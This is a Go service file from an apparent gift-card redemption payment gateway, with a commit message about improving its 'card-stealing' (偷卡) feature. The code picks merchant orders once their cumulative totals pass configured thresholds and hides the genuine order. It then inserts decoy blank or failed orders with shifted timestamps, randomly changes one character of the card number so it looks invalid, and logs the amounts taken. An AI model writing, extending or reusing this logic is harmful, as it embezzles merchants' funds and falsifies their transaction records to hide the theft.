Files
kami_gateway/internal/service/merchant_hidden_config.go
danial a4d4c39477 feat(merchant_hidden_config): 优化偷卡功能逻辑
- 添加 debug 模式配置,用于控制数据库查询时是否开启调试
-修复获取偷卡记录时的状态过滤逻辑,支持多个状态
-优化创建隐藏订单的流程,先创建新订单再更新原订单- 新增系统配置字典模型,用于获取偷卡规则状态- 移除不必要的日志输出,简化代码
2025-01-25 22:35:06 +08:00

183 lines
6.4 KiB
Go

package service
import (
"encoding/json"
"gateway/internal/entities/supplier"
"gateway/internal/models/hidden"
"gateway/internal/models/order"
"gateway/internal/models/road"
"gateway/internal/models/setting"
"github.com/beego/beego/v2/core/logs"
"github.com/duke-git/lancet/v2/pointer"
"github.com/duke-git/lancet/v2/random"
"github.com/duke-git/lancet/v2/slice"
"github.com/duke-git/lancet/v2/strutil"
"github.com/duke-git/lancet/v2/validator"
"github.com/mohae/deepcopy"
"strings"
"time"
)
// GetOrderHidden 判断当前订单是否偷卡
func GetOrderHidden(orderNo *order.OrderInfo) (cfg *hidden.MerchantHiddenConfig) {
// 查询当前订单是否处于偷卡的范围
if !setting.GetStealCardConfig() {
return
}
configList, err := hidden.GetAllEnabledMerchantHiddenConfig(orderNo.OrderAmount, orderNo.MerchantUid, orderNo.RoadUid)
if err != nil {
return
}
for _, config := range configList {
roadInfo := road.GetRoadInfoByRoadUid(config.RoadUid)
if pointer.IsNil(roadInfo) || roadInfo.Id == 0 {
continue
}
record, err2 := hidden.GetOneMerchantHiddenRecordByHiddenConfigId(config.Id, []int{1, 3})
if err2 != nil {
continue
}
//如果是第一次偷卡
if record == nil {
//查询当前用户所有的订单
orderInfos, err := order.GetByUidAndRoadUid(config.MerchantUid, config.RoadUid)
if err != nil || len(orderInfos) == 0 {
continue
}
//计算订单金额
amountTotal := slice.ReduceBy(orderInfos, 0, func(index int, item *order.OrderInfo, agg int) int {
return agg + int(item.FactAmount)
})
//如果当前金额超过设定金额,并且面额一致,就偷卡
if amountTotal > config.Amount && orderNo.FactAmount == float64(config.FaceAmount) {
cfg = config
return
}
continue
}
//如果是多次偷卡
orderInfos, err := order.GetByUidAndRoadUidAndTime(config.MerchantUid, config.RoadUid, record.CreateAt)
if err != nil || len(orderInfos) == 0 {
continue
}
//计算订单金额
amountTotal := slice.ReduceBy(orderInfos, 0, func(index int, item *order.OrderInfo, agg int) int {
return agg + int(item.FactAmount)
})
//如果当前金额超过设定金额,并且面额一致,就偷卡
if amountTotal > config.Amount && orderNo.FactAmount == float64(config.FaceAmount) {
cfg = config
return
}
}
return
}
func CreateHiddenBlankOrder(orderInfo *order.OrderInfo, duration int64) (bankOrderId string, err error) {
bankOrderId, err = order.HiddenOrder(orderInfo)
//复制到一个新的对象中
newOrderInfo := deepcopy.Copy(*orderInfo).(order.OrderInfo)
// 创建一个新的失败订单
newOrderInfo.CreateTime = orderInfo.CreateTime.Add(time.Second * time.Duration(duration))
newOrderInfo.UpdateTime = orderInfo.UpdateTime.Add(time.Second * time.Duration(duration))
newOrderInfo.ExValue = "{}"
newOrderInfo.Id = 0
order.InsertOrder(newOrderInfo)
// 去掉现有订单的关联数据
return
}
func CreateHiddenErrorOrder(orderInfo *order.OrderInfo, duration int64) (bankOrderId string, err error) {
//复制到一个新的对象中
newOrderInfo := deepcopy.Copy(*orderInfo).(*order.OrderInfo)
// 创建一个新的失败订单
newOrderInfo.CreateTime = orderInfo.CreateTime.Add(time.Second * time.Duration(duration))
newOrderInfo.UpdateTime = orderInfo.UpdateTime.Add(time.Second * time.Duration(duration))
exValue := supplier.RedeemCardInfo{}
if err = json.Unmarshal([]byte(newOrderInfo.ExValue), &exValue); err != nil {
return
}
//字符串转数组
exValue.Data = ReplaceNumberOrLetter(exValue.Data, len(exValue.Data))
exValue.CardNo = ReplaceNumberOrLetter(exValue.CardNo, len(exValue.CardNo))
order.InsertOrder(*newOrderInfo)
// 去掉现有订单的关联数据
bankOrderId, _ = order.HiddenOrder(orderInfo)
return
}
func CreateRelateHideOrderRecord(targetOrderBankId string, orderInfo *order.OrderInfo, cfg *hidden.MerchantHiddenConfig) (err error) {
_, err = hidden.AddMerchantHiddenRecord(&hidden.MerchantHiddenRecord{
TargetOrderNo: targetOrderBankId,
SourceOrderNo: orderInfo.BankOrderId,
OrderAmount: orderInfo.OrderAmount,
MerchantHiddenConfigId: cfg.Id,
Status: 3,
CreateAt: time.Now(),
UpdateAt: time.Now(),
})
return
}
func GetRelateRecordByTargetOrderNo(targetOrderBankId string) (record *hidden.MerchantHiddenRecord, err error) {
record, err = hidden.GetByTargetOrderNo(targetOrderBankId)
return
}
// ReplaceNumberOrLetter 替换数字或字母
func ReplaceNumberOrLetter(str string, length int) string {
if length <= 0 {
return str
}
list := strings.Split(str, "")
targetStr := random.RandFromGivenSlice(list)
if !pointer.IsNil(targetStr) && targetStr != "" {
index := random.RandFromGivenSlice(FindAllIndex(str, targetStr))
logs.Info(str, FindAllIndex(str, targetStr))
if index != -1 {
if validator.IsIntStr(targetStr) {
//去掉当前数字
num := random.RandFromGivenSlice(slice.Filter([]string{"1", "2", "3", "4", "5", "6", "7", "8", "9", "0"}, func(index int, item string) bool {
return item != targetStr
}))
list[index] = num
return strings.Join(list, "")
}
if validator.IsAllUpper(targetStr) {
alpha := random.RandFromGivenSlice(slice.Filter([]string{"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}, func(index int, item string) bool {
return item != targetStr
}))
list[index] = alpha
return strings.Join(list, "")
}
if validator.IsAllLower(targetStr) {
alpha := random.RandFromGivenSlice(slice.Filter([]string{"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}, func(index int, item string) bool {
return item != targetStr
}))
list[index] = alpha
return strings.Join(list, "")
}
}
}
return ReplaceNumberOrLetter(strings.Join(list, ""), length-1)
}
// FindAllIndex 找到字符串中所要搜索字符的所有索引
func FindAllIndex(str string, searchStr string) []int {
result := make([]int, 0)
index := strings.Index(str, searchStr)
for index != -1 {
result = append(result, index)
index = strutil.IndexOffset(str, searchStr, index+1)
}
return result
}
// UpdateRelateRecordStatus 更新偷卡状态和偷卡金额
func UpdateRelateRecordStatus(orderBankId string, amount float64, status int) (err error) {
err = hidden.UpdateStatusAndAmount(orderBankId, amount, status)
return
}